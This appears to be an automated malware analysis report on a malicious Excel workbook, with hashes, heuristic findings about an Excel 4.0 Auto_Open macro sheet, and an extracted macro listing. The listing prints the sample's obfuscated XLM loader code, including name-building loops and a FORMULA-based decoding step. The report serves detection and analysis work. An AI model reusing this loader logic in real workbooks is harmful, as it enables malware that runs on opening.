Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9d36e9ce1bca1947…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:45:55 Authoring application: Microsoft Excel First seen: 2022-07-02
MD5: 920cf97285673051e9e7b5316bd8286b SHA-1: 3a8325ee38bd64f7d3e24eb9f28bbe6b6fea4306 SHA-256: 9d36e9ce1bca19478426df0c01d2abc5cf76c67bd13a2424a2b0576733eca004
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6518 bytes
SHA-256: e8ff7ed37c97297b7f5ac4c27afdaa053ff2dea1d8c4c6fabf4c181ba79d476b
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  LpYEgN
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B150 
' 0018     23 LABEL : Cell Value, String Constant - cmbNWpVJ len=0 
' 0018     22 LABEL : Cell Value, String Constant - gpnlvxd len=0 
' 0018     24 LABEL : Cell Value, String Constant - jImsCZwRx len=0 
' 0018     23 LABEL : Cell Value, String Constant - jYhxcFnm len=0 
' 0018     25 LABEL : Cell Value, String Constant - MDWXOEAAIs len=0 
' 0018     24 LABEL : Cell Value, String Constant - MfwyxzpGz len=0 
' 0018     25 LABEL : Cell Value, String Constant - nhYlrnybUj len=0 
' 0018     22 LABEL : Cell Value, String Constant - NQurFFx len=0 
' 0018     26 LABEL : Cell Value, String Constant - pfIktypGCDB len=0 
' 0018     24 LABEL : Cell Value, String Constant - QQjmxfMIF len=0 
' 0018     27 LABEL : Cell Value, String Constant - qWMXetVUytQZ len=0 
' 0018     20 LABEL : Cell Value, String Constant - RaKzI len=0 
' 0018     22 LABEL : Cell Value, String Constant - RmGmtXU len=0 
' 0018     26 LABEL : Cell Value, String Constant - rzxurLWwBsl len=0 
' 0018     27 LABEL : Cell Value, String Constant - sLtGxZWwdqBA len=0 
' 0018     27 LABEL : Cell Value, String Constant - SwAjsaWXFpAP len=0 
' 0018     20 LABEL : Cell Value, String Constant - usewx len=0 
' 0018     21 LABEL : Cell Value, String Constant - vvoxOw len=0 
' 0018     27 LABEL : Cell Value, String Constant - xUbmkdurHYnr len=0 
' 0018     26 LABEL : Cell Value, String Constant - yrYRiKwwoba len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  LpYEgN,B57,"SET.NAME("MfwyxzpGz",VALUE("0"))",""
'  LpYEgN,B59,"SET.NAME("jYhxcFnm",MfwyxzpGz)",""
'  LpYEgN,B64,"SET.NAME("nhYlrnybUj",MfwyxzpGz)",""
'  LpYEgN,B69,"SET.NAME("usewx",COUNTA(cmbNWpVJ))",""
'  LpYEgN,B72,"SET.NAME("NQurFFx",COUNTA(yrYRiKwwoba))",""
'  LpYEgN,B74,[],""
'  LpYEgN,B79,"SET.NAME("pfIktypGCDB","")",""
'  LpYEgN,B83,"jYhxcFnm",""
'  LpYEgN,B87,"SET.NAME("vvoxOw",HLOOKUP("*",cmbNWpVJ,jYhxcFnm,FALSE))",""
'  LpYEgN,B91,"gpnlvxd",""
'  LpYEgN,B94,"SET.NAME("xUbmkdurHYnr",MfwyxzpGz)",""
'  LpYEgN,B99,[],""
'  LpYEgN,B103,"xUbmkdurHYnr",""
'  LpYEgN,B108,"RaKzI",""
'  LpYEgN,B110,"RmGmtXU",""
'  LpYEgN,B113,"SwAjsaWXFpAP",""
'  LpYEgN,B115,"SET.NAME("sLtGxZWwdqBA",VALUE(HLOOKUP("*",yrYRiKwwoba,SwAjsaWXFpAP,FALSE)))",""
'  LpYEgN,B119,"jImsCZwRx",""
'  LpYEgN,B122,"pfIktypGCDB",""
'  LpYEgN,B124,"nhYlrnybUj",""
'  LpYEgN,B127,NEXT(),""
'  LpYEgN,B130,"qWMXetVUytQZ",""
'  LpYEgN,B135,"SET.NAME("f",INT(T(FORMULA(T(pfIktypGCDB)&"",""&T(qWMXetVUytQZ)))))",""
'  LpYEgN,B139,"QQjmxfMIF",""
'  LpYEgN,B143,NEXT(),""
'  LpYEgN,B147,RETURN(),""
'  LpYEgN,B175,"SET.NAME("rzxurLWwBsl",B57)",""
'  LpYEgN,B179,"cmbNWpVJ",""
'  LpYEgN,B184,"SET.NAME("yrYRiKwwoba",R95C11)",""
'  LpYEgN,B186,"SET.NAME("QQjmxfMIF",195)",""
'  LpYEgN,B191,"SET.NAME("MDWXOEAAIs",2)",""
'  LpYEgN,B194,rzxurLWwBsl(),""
'  LpYEgN,B195,HALT(),""

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